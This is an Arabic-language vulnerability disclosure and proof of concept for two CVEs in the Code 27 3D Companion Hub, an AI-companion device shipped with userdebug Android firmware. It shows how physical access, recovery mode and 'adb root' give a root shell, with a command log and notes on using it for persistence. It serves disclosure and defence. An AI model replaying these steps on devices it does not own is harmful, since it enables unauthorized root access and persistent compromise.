
إثبات المفهوم لـ CVE-2026-36027 و CVE-2026-36028
جهاز Code 27 3D Companion Hub هو جهاز مكتبي مادي يعرض شخصية ذكاء اصطناعي مخصصة (تُدعى "Codie") كرفيق ثلاثي الأبعاد مُتحرّك. يمكن للمستخدمين رفع أي نموذج ثلاثي الأبعاد أو إنشائه، ويتيح الذكاء الاصطناعي متعدد الوسائط للشخصية رؤية محيطها، وقراءة نبرة الصوت ولغة الجسد، وخوض محادثات مفتوحة النهاية.
يغطي هذا التقرير ثغرتين تتطلبان وصولًا ماديًا إلى الجهاز. تم التحقق من كلتيهما على الإصدار أدناه، وكلتاهما، وقت النشر، غير مصححتين.
| الحقل | القيمة |
|---|---|
| المنتج | Code 27 3D Companion Hub |
| إصدار واجهة Companion Hub | 1.2.0 |
| المعالج / اللوحة | Rockchip RK3588S (rk3588s_yt921) |
| نظام التشغيل | Android 12 |
| معرّف الإصدار | SQ3A.220705.003.A1 |
| البصمة الكاملة | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| نوع الإصدار | userdebug / release-keys |
البرنامج الثابت الذي يُشحن به الجهاز هو إصدار userdebug (يظهر في شريط وضع الاسترداد وفي ro.build.display.id). تسمح إصدارات userdebug بإعادة تشغيل adbd بصلاحيات الجذر عبر adb root، وهو عامل تمكين رئيسي لوجود CVE-2026-36027.
يمكن لمهاجم على مقربة جسدية من الجهاز إقلاع Companion Hub إلى وضع الاسترداد في Android والحصول على صدفة ADB بصلاحيات الجذر (uid=0, سياق SELinux u:r:su:s0). نظرًا لأن الجهاز يُشحن بإصدار userdebug، يمكن إعادة تشغيل adbd كجذر عبر adb root، مما يمنح المهاجم تفاعل قراءة/كتابة مع بيئة الاسترداد، والقدرة على تعداد خصائص الإصدار والعتاد، والوصول إلى وظائف الاسترداد (التحميل الجانبي sideload، fastboot، عمليات الأقسام).
الوصول الذي تم الحصول عليه يقع داخل ramdisk الخاصة بوضع الاسترداد، وليس في بيئة تشغيل Android الحية. أثناء الاختبار، فشل إجراء Mount /system في وضع الاسترداد (تعذّر على libfs_mgr فتح /dev/block/by-name/system)، لذا لم يتم تحميل قسم النظام مباشرة عبر هذا المسار، ولا يتم عرض بيئة المستخدم المُقلعة، بما فيها الكشك وأي بيانات مستخدم مفكوكة التشفير، في هذا الوضع.
لا يزال هذا مهمًا لأن وصول الجذر إلى بيئة الاسترداد هو الأساس لتعديل حالة الجهاز الدائمة (على سبيل المثال، الكتابة على الأقسام أو تطبيق حزمة تحديث مصمّمة خصيصًا) بحيث يمكن لشيفرة يتحكم بها المهاجم أن تعمل عند الإقلاع العادي التالي، مما يؤسس موطئ قدم على الجهاز الحي.
Mount /system، وحدده، ثم أكّد. سيبدو أن العملية فشلت. هذا متوقع، والاستغلال لا يزال يعمل. (يُظهر سجل الاسترداد فشل libfs_mgr في فتح /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12